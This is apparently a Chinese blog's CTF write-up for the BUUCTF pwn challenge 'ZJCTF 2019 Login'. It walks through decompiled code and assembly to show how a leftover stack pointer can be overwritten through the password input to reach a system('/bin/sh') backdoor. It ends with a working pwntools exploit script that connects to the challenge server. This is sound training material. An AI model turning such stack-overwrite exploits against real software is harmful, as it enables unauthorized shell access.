Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

  • PWN

    • test your nc
    • rip
    • warmup csaw 2016
    • ciscn 2019 n 1
    • pwn1 sctf 2016
    • jarvisoj level0
    • ciscn 2019 c 1
    • 第五空间2019 决赛 PWN5
    • ciscn 2019 n 8
    • jarvisoj level2
    • OGeek2019 babyrop
    • get started 3dsctf 2016
    • bjdctf 2020 babystack
    • ciscn 2019 en 2
    • HarekazeCTF2019 baby rop
    • jarvisoj level2 x64
    • not the same 3dsctf 2016
    • ciscn 2019 n 5
    • others shellcode
    • ciscn 2019 ne 5
    • 铁人三项(第五赛区) 2018 rop
    • bjdctf 2020 babyrop
    • bjdctf 2020 babyrop2
    • jarvisoj fm
    • pwn2 sctf 2016
    • babyheap 0ctf 2017
    • HarekazeCTF2019_baby_rop2
    • ciscn 2019 es 2
    • ciscn 2019 s 3
    • jarvisoj tell me something
    • jarvisoj level3
    • ez pz hackover 2016
    • picoctf 2018 rop chain
    • Black Watch 入群题 PWN
    • jarvisoj level4
    • jarvisoj level3 x64
    • bjdctf 2020 babyrop2
    • ZJCTF 2019 EasyHeap
    • pwnable orw
    • wustctf2020 getshell
    • bjdctf 2020 router
    • hitcontraining uaf
    • picoctf 2018 buffer overflow 1
    • jarvisoj test your memory
    • mrctf2020 shellcode
    • inndy rop
    • picoctf 2018 buffer overflow 2
    • cmcc simplerop
    • xdctf2015 pwn200
    • bbys tu 2016
    • mrctf2020 easyoverflow
    • wustctf2020 getshell 2
    • ZJCTF 2019 Login
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
    • babyfengshui 33c3 2016
    • jarvisoj level1
    • ciscn 2019 s 4
    • ciscn 2019 n 3
    • hitcontraining magicheap
    • axb 2019 fmt32
    • gyctf 2020 borrowstack
    • wustctf2020 closed
    • pwnable start
    • others babystack
    • 0ctf 2017 babyheap
    • hitcontraining heapcreator
    • roarctf 2019 easy pwn
  • 笔记
  • PWN
Zephyr
2022-04-12
目录

ZJCTF 2019 Login

# ZJCTF 2019 Login

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/ZJCTF_2019_Login/login'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
1
2
3
4
5
6

# 静态分析

主函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 (*v3)(); // rax
  User *v4; // rbx
  User *v5; // rax
  __int64 *v7; // [rsp+10h] [rbp-130h]
  char v8; // [rsp+20h] [rbp-120h]
  char v9[8]; // [rsp+D0h] [rbp-70h]
  char v10; // [rsp+E0h] [rbp-60h]
  unsigned __int64 v11; // [rsp+128h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  strcpy(v9, "2jctf_pa5sw0rd");
  memset(&v10, 0, 0x40uLL);
  Admin::Admin(&v8, "admin", v9);
  puts(
    " _____   _  ____ _____ _____   _                _       \n"
    "|__  /  | |/ ___|_   _|  ___| | |    ___   __ _(_)_ __  \n"
    "  / /_  | | |     | | | |_    | |   / _ \\ / _` | | '_ \\ \n"
    " / /| |_| | |___  | | |  _|   | |__| (_) | (_| | | | | |\n"
    "/____\\___/ \\____| |_| |_|     |_____\\___/ \\__, |_|_| |_|\n"
    "                                          |___/         ");
  printf("Please enter username: ", "admin");
  User::read_name(&login);
  printf("Please enter password: ");
  v3 = main::{lambda(void)#1}::operator void (*)(void) const();
  v7 = password_checker(v3);
  User::read_password(&login);
  v4 = User::get_password(&v8);
  v5 = User::get_password(&login);
  password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(&v7, v5, v4);
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

User::User函数如下

char *__fastcall User::User(User *this, const char *a2, const char *a3)
{
  char *v3; // ST08_8

  v3 = a3;
  *this = off_401170;
  strncpy(this + 8, a2, 0x50uLL);
  return strncpy(this + 88, v3, 0x50uLL);
}
1
2
3
4
5
6
7
8
9

User::read_name函数如下:

unsigned __int64 __fastcall User::read_name(User *this)
{
  _QWORD *v1; // rax
  _QWORD s[10]; // [rsp+10h] [rbp-60h]
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(s, 79, stdin);
  strip_newline(s, 80LL);
  v1 = (this + 8);
  *v1 = s[0];
  v1[1] = s[1];
  v1[2] = s[2];
  v1[3] = s[3];
  v1[4] = s[4];
  v1[5] = s[5];
  v1[6] = s[6];
  v1[7] = s[7];
  v1[8] = s[8];
  v1[9] = s[9];
  return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

User::read_password函数如下:

unsigned __int64 __fastcall User::read_password(User *this)
{
  _QWORD *v1; // rax
  _QWORD s[10]; // [rsp+10h] [rbp-60h]
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(s, 79, stdin);
  strip_newline(s, 80LL);
  v1 = (this + 88);
  *v1 = s[0];
  v1[1] = s[1];
  v1[2] = s[2];
  v1[3] = s[3];
  v1[4] = s[4];
  v1[5] = s[5];
  v1[6] = s[6];
  v1[7] = s[7];
  v1[8] = s[8];
  v1[9] = s[9];
  return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

User::get_password函数如下:

User *__fastcall User::get_password(User *this)
{
  return (this + 88);
}
1
2
3
4

password_checker函数如下

__int64 *__fastcall password_checker(void (*a1)(void))
{
  __int64 v2; // [rsp+0h] [rbp-18h]

  return &v2;
}
1
2
3
4
5
6

password_checker重载函数如下:

unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(void (__fastcall ***a1)(char *), const char *a2, const char *a3)
{
  char s; // [rsp+20h] [rbp-60h]
  unsigned __int64 v5; // [rsp+78h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( !strcmp(a2, a3) )
  {
    snprintf(&s, 0x50uLL, "Password accepted: %s\n", &s);
    puts(&s);
    (**a1)(&s);
  }
  else
  {
    puts("Nope!");
  }
  return __readfsqword(0x28u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

Admin::shell函数如下:

int __fastcall Admin::shell(Admin *this)
{
  puts("Congratulations!");
  return system("/bin/sh");
}
1
2
3
4
5

# 思路分析

  1. 目前信息:

    • username=admin
    • password=2jctf_pa5sw0rd
    • 存在后门函数
    • Partial RELRO
    • Canary found
    • NX enabled
    • No PIE
  2. 解题

    • 尝试直接输入admin与2jctf_pa5sw0rd出现段错误
    ./login
     _____   _  ____ _____ _____   _                _
    |__  /  | |/ ___|_   _|  ___| | |    ___   __ _(_)_ __
      / /_  | | |     | | | |_    | |   / _ \ / _` | | '_ \
     / /| |_| | |___  | | |  _|   | |__| (_) | (_| | | | | |
    /____\___/ \____| |_| |_|     |_____\___/ \__, |_|_| |_|
                                              |___/
    Please enter username: admin
    Please enter password: 2jctf_pa5sw0rd
    Password accepted: Password accepted:
    
    [1]    21860 segmentation fault  ./login
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    • 定位问题出现在重载函数password_checker位置,具体如下:
    unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(void (__fastcall ***a1)(char *), const char *a2, const char *a3)
    {
      char s; // [rsp+20h] [rbp-60h]
      unsigned __int64 v5; // [rsp+78h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      if ( !strcmp(a2, a3) )
      {
        snprintf(&s, 0x50uLL, "Password accepted: %s\n", &s);
        puts(&s);
        (**a1)(&s);  //问题在这里,a1是二级指针,并且被当成函数执行了
      }
      else
      {
        puts("Nope!");
      }
      return __readfsqword(0x28u) ^ v5;
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    • 这部分的汇编看起来更清晰具体如下:
    .text:0000000000400A4A                 mov     rax, [rbp+var_68]
    .text:0000000000400A4E                 mov     rax, [rax]
    .text:0000000000400A51                 mov     rax, [rax]
    .text:0000000000400A54                 call    rax
    .text:0000000000400A56                 jmp     short loc_400A62
    
    1
    2
    3
    4
    5
    • 这里可以[rbp+var_68]控制了rax并被最终调用,接着往上看看是否能控制rbp+var_68
    .text:00000000004009E2 ; password_checker(void (*)(void))::{lambda(char const*, char const*)#1}::operator() const(char const*, char const*)
    .text:00000000004009E2 _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ proc near
    .text:00000000004009E2                 push    rbp
    .text:00000000004009E3                 mov     rbp, rsp
    .text:00000000004009E6                 add     rsp, 0FFFFFFFFFFFFFF80h
    .text:00000000004009EA                 mov     [rbp+var_68], rdi    # rdi控制了该参数
    .text:00000000004009EE                 mov     [rbp+s1], rsi
    .text:00000000004009F2                 mov     [rbp+s2], rdx
    .text:00000000004009F6                 mov     rax, fs:28h
    .text:00000000004009FF                 mov     [rbp+var_8], rax
    .text:0000000000400A03                 xor     eax, eax
    .text:0000000000400A05                 mov     rdx, [rbp+s2]
    .text:0000000000400A09                 mov     rax, [rbp+s1]
    .text:0000000000400A0D                 mov     rsi, rdx        ; s2
    .text:0000000000400A10                 mov     rdi, rax        ; s1
    .text:0000000000400A13                 call    _strcmp
    .text:0000000000400A18                 test    eax, eax
    .text:0000000000400A1A                 jnz     short loc_400A58
    .text:0000000000400A1C                 lea     rdx, [rbp+s]
    .text:0000000000400A20                 lea     rax, [rbp+s]
    .text:0000000000400A24                 mov     rcx, rdx
    .text:0000000000400A27                 mov     edx, offset format ; "Password accepted: %s\n"
    .text:0000000000400A2C                 mov     esi, 50h        ; maxlen
    .text:0000000000400A31                 mov     rdi, rax        ; s
    .text:0000000000400A34                 mov     eax, 0
    .text:0000000000400A39                 call    _snprintf
    .text:0000000000400A3E                 lea     rax, [rbp+s]
    .text:0000000000400A42                 mov     rdi, rax        ; s
    .text:0000000000400A45                 call    _puts
    .text:0000000000400A4A                 mov     rax, [rbp+var_68]
    .text:0000000000400A4E                 mov     rax, [rax]
    .text:0000000000400A51                 mov     rax, [rax]
    .text:0000000000400A54                 call    rax
    .text:0000000000400A56                 jmp     short loc_400A62
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    • 继续往上找
    call    _Z16password_checkerPFvvE ; password_checker(void (*)(void))
    mov     [rbp+var_130], rax         # 这里
    mov     edi, offset login ; this
    call    _ZN4User13read_passwordEv ; User::read_password(void)
    lea     rax, [rbp+var_120]
    mov     rdi, rax        ; this
    call    _ZN4User12get_passwordEv ; User::get_password(void)
    mov     rbx, rax
    mov     edi, offset login ; this
    call    _ZN4User12get_passwordEv ; User::get_password(void)
    mov     rcx, rax
    lea     rax, [rbp+var_130]         # 这里
    mov     rdx, rbx
    mov     rsi, rcx
    mov     rdi, rax                   # 这里
    call    _ZZ16password_checkerPFvvEENKUlPKcS2_E_clES2_S2_ ; password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(char const*,char const*)
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    • 最终找到为password_checker(void (*)(void))函数内的[rbp+var_18]控制了该参数,如下:
    .text:0000000000400A79 _Z16password_checkerPFvvE proc near     ; CODE XREF: main+BB↓p
    .text:0000000000400A79
    .text:0000000000400A79 var_18          = qword ptr -18h
    .text:0000000000400A79 var_8           = qword ptr -8
    .text:0000000000400A79
    .text:0000000000400A79 ; __unwind {
    .text:0000000000400A79                 push    rbp
    .text:0000000000400A7A                 mov     rbp, rsp
    .text:0000000000400A7D                 mov     [rbp+var_18], rdi
    .text:0000000000400A81                 mov     [rbp+var_8], 0
    .text:0000000000400A89                 lea     rax, [rbp+var_18]    # 最终位置
    .text:0000000000400A8D                 pop     rbp
    .text:0000000000400A8E                 retn
    .text:0000000000400A8E ; } // starts at 400A79
    .text:0000000000400A8E _Z16password_checkerPFvvE endp
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

    因为[rbp+var_18]是栈上地址,并且这些函数都是在main()函数同级顺序调用的,所以password_checker()函数退栈后,read_password()函数在同一位置开栈(被调用函数都在同一位置上开栈),因此我们可以在输入密码的时候覆盖[rbp+var_18]位置为后门函数的地址,执行即可获得shell。

  3. 注意点

    • 输入密码并且覆盖[rbp+var_18]时需要在密码2jctf_pa5sw0rd后填充\0绕过字符串匹配strcmp函数

# exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ZJCTF_2019_Login/login'
io = remote('node4.buuoj.cn', 27803)
# io = process(pwnfile)
backd_door = 0x400E88
io.recvuntil("Please enter username:")
io.sendline("admin")
io.recvuntil("Please enter password:")
io.sendline("2jctf_pa5sw0rd".ljust(0x48, '\0').encode()+p64(backd_door))
# 输入位置是0x60,需要覆盖的位置为0x18,距离为0x48
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
#buuctf#pwn#StackOverflow
上次更新: 2022/08/15, 00:29:49
wustctf2020 getshell 2
babyfengshui 33c3 2016

← wustctf2020 getshell 2 babyfengshui 33c3 2016→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×